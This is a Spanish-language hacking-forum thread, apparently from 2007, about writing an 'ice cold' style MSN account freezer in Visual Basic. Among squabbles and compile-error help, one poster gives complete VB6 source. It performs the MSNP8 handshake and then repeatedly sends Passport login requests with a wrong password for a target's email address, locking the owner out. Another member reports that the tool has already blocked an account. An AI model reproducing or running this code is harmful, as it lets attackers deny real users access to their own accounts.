Autor
|
Tema: Fabricando un congelador tipo ice cold en vb[Optimizado] (Leído 30,532 veces)
|
Tughack
Desconectado
Mensajes: 490
|
pasra TugHack: te agradeceria que si vas a colaborar que lo hagas, pero no hagas criticas inconstructivas, si lo hiciste en pocas lineas pues postealo (se q no lo haras..) pero no te presumas... PD: NO seguire esta discucion por parte de tughack... seguire con el resto del aporte.
Pff pues solo hice un comentario k por cierto tiene su parte construtiva... O crees k decirle k esta codigo a mas y k lo puede hacer mejor no es contructivo? Se solo puedo postear para decir "Muy bien!" no se para k sirve el foro...
|
|
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
y mi error????????
|
|
|
En línea
|
|
|
|
wACtOr
Desconectado
Mensajes: 461
Premio finalista diseño web elhacker.net
|
drackolive, en una palabra:
INDEX -----------------
ya me a blokeado la cuenta, pero no se por que razon no ha parado el timer. voy aver que ocurre jejeje
|
|
« Última modificación: 30 Julio 2007, 14:25 pm por wACtOr »
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
que lio ahora me da este error: .... Que sucede??????????????????????
|
|
|
En línea
|
|
|
|
Freeze.
|
Alli estas declarando que X es un Modulo y eso no se puede...
En fin:
"Un módulo no es un tipo válido"
|
|
|
En línea
|
|
|
|
drakolive
Desconectado
Mensajes: 141
|
el codigo que postearon esta asi... nunca he tenido este problema... como lo puedo solucionar?
|
|
|
En línea
|
|
|
|
|
Arcangel
Desconectado
Mensajes: 492
Is About Power...
|
en un modulo de clase llamado cryptocls agregamos este code: fíjate cryptocls es un modulo DE CLACE, no lo puedes agregar como un modulo común y corriente, en ves de agregar "Module", tienes que pegar ese code en un "Class Module", y pues claro ponerle su nombre correspondiente. Arcangel
|
|
|
En línea
|
|
|
|
Kizar
Desconectado
Mensajes: 1.325
kizar_net
|
Lo hice hace tiempo y lo posteo, cualquiera con un sniffer puede hacerlo, yo tarde una media hora y mi código son unas pocas lineas. Todo en un formulario con: Textbox = Text1 Boton = Command1 = Bloquear Boton = Command2 = DesBloquear Label = Label1 Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer Dim res As String Dim num As Integer
Private Sub Command1_Click() Label1.Caption = "Conectando al servidor..." WS.Close WS.RemoteHost = "messenger.hotmail.com" WS.RemotePort = 1863 WS.Connect End Sub
Private Sub Command2_Click() Timer1.Enabled = False Label1.Caption = "Cuenta desbloqueada" End Sub
Private Sub Timer1_Timer() Timer1.Enabled = False If num < 10 Then num = num + 1 Label1.Caption = "Bloqueando... [" & num * 10 & "%]" ElseIf num = 10 Then num = num + 1 Label1.Caption = "Cuenta bloqueada ;)" End If Dim tmp2() As String, tmp3 As String, tmp4 As String, hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String hopen = InternetOpen("MSMSGS", 1, 0, 0, 0) hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0) hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0) tmp2 = Split(Text1.Text, "@") tmp4 = tmp2(0) & "%40" & tmp2(1) tmp3 = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp4 & ",pwd=crapware, " & res lgRep = HttpSendRequest(hRequest, tmp3, -1, 0, 0) stStatusCode = Space$(1000) HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0 InternetCloseHandle hopen InternetCloseHandle hConnection InternetCloseHandle hRequest Timer1.Enabled = True End Sub
Private Sub WS_Connect() WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10) Label1.Caption = "Conectado" End Sub
Private Sub WS_DataArrival(ByVal bytesTotal As Long) Dim datos As String WS.GetData datos
Select Case Left(datos, 3) Case "VER" WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & Chr(13) & Chr(10) Case "CVR" WS.SendData "USR 3 TWN I " & Text1.Text & Chr(13) & Chr(10) Case "XFR" Dim tmp() As String tmp = Split(datos, " ") WS.Close WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5) WS.Connect Case "USR" Dim tmp2() As String tmp2 = Split(datos, " ") res = tmp2(4) num = 0 Timer1.Enabled = True End Select End Sub
|
|
|
En línea
|
|
|
|
Freeze.
|
Muy bueno ya lo pruebo...
|
|
|
En línea
|
|
|
|
|
|